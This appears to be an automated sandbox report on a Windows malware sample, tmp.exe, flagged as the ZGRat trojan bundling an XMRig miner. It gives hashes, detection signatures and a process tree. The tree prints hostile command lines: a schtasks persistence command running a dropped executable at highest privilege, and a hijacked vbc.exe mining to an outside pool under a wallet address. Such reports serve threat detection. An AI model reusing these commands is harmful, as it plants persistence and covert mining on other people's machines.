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Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240221-en -
resource tags
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submitted
25/02/2024, 12:17
General
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Target
tmp.exe
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Size
5.0MB
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MD5
a3fb2b623f4490ae1979fea68cfe36d6
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SHA1
34bec167e0f95ecc36761f77c93c1229c2c5d1f4
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SHA256
3bc9c1d7f87f71c9e98fac63c2f10d2651f51848082a85d6b3550649e4289d56
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SHA512
370b23364bcf8f07aa951c1c6a9d6b03b516db8fd7444d25087ad8071c54bb06fd50ce311a205e0770211167728d86516e934a39a606f0bf0c9fbdd13dca7912
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SSDEEP
98304:xrd0tlZ+I89l7cGcGI4G/Mul2rq/aReDkizMeQUz4:x+tlQ4zGk/Mul2rVe4iwVU
Malware Config
Signatures
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Detect ZGRat V1 4 IoCs
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ZGRat
ZGRat is remote access trojan written in C#.
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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XMRig Miner payload 14 IoCs
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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Executes dropped EXE 2 IoCs
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UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
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Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Delays execution with timeout.exe 1 IoCs
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Suspicious behavior: EnumeratesProcesses 1 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 5 IoCs
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Suspicious use of FindShellTrayWindow 1 IoCs
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Suspicious use of WriteProcessMemory 17 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp703E.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3.0MB
MD5854f9f20b25336474553f4ce2733caec
SHA1837f38af4e9e8fc332cea859418bb285e5a0bb1a
SHA256face22c2af1faf6f4ebd51d1aaea620f0b57c97d5c3d39ff1604dc7fdf596958
SHA512ccb7a27d8095b282b11b2c67eb79412550a8ef1bb12449b2a95d690f6b8998260008d89e3bb7ac27e79f45f5832176b1713a5bd8414b5ce8782ab4dd737b8008
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Filesize
3.2MB
MD59e869a28e5111622ec67f6a0d37b8dcd
SHA18567b459eca972bc20a06829041866c7b833cb1a
SHA2560edafb0467dfca99cea9a89b247107215e14a990a117a04a3df844692f9993cc
SHA512111cf59f71884849699e9f56af2daf060a4beb82e97468ad108b8655a1d0f946b017e8f6c514e8ecb7dc12fd2d57e2af577d332dac1918f668814e9d0ed38dd0
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Filesize
5.0MB
MD5a3fb2b623f4490ae1979fea68cfe36d6
SHA134bec167e0f95ecc36761f77c93c1229c2c5d1f4
SHA2563bc9c1d7f87f71c9e98fac63c2f10d2651f51848082a85d6b3550649e4289d56
SHA512370b23364bcf8f07aa951c1c6a9d6b03b516db8fd7444d25087ad8071c54bb06fd50ce311a205e0770211167728d86516e934a39a606f0bf0c9fbdd13dca7912
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Filesize
1KB
MD5e3da8eae01f57153845d1533b6bed268
SHA1a235712a631c52d2853e9136d9c4431358f34fd2
SHA25677507c05c8131f73d1dd1500992223819a6ab09cd820716e00bf907c9c7fc857
SHA512b24b1064f8270981746f49a1b56a1aab21f7985af672bc6dcdbd67e498033714131ba4581c9c3d934e86b56d904bb0ecf322fae498133bbb9cb3a68ea6cad9d5
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Filesize
168B
MD5ed5bec68f6041492c40424e70708ead4
SHA1ae3c0f44294c740d8a97c2e2bdd7cc510e2fc8bd
SHA256cdeb80d648a24656cabd3ba42b5be3f1c42bd9eb27351edab90c34b27e3bac7a
SHA512ca432d7de3b91b20df9d41fc2ad8cde5034ba1d0caef2e504b873481eb69adeb064074257615924f44dd81be2c9bd1c81012d95b122fb62ec0ef4bb5db3f15af
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
-
Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
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Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
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Filesize
128KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
256KB
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Filesize
7.9MB
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Filesize
7.9MB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
4KB
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Filesize
5.0MB
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Filesize
10.8MB
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Filesize
64KB
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Filesize
10.8MB
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Filesize
4KB
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Filesize
10.8MB
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Filesize
4KB
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Filesize
64KB
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Filesize
10.8MB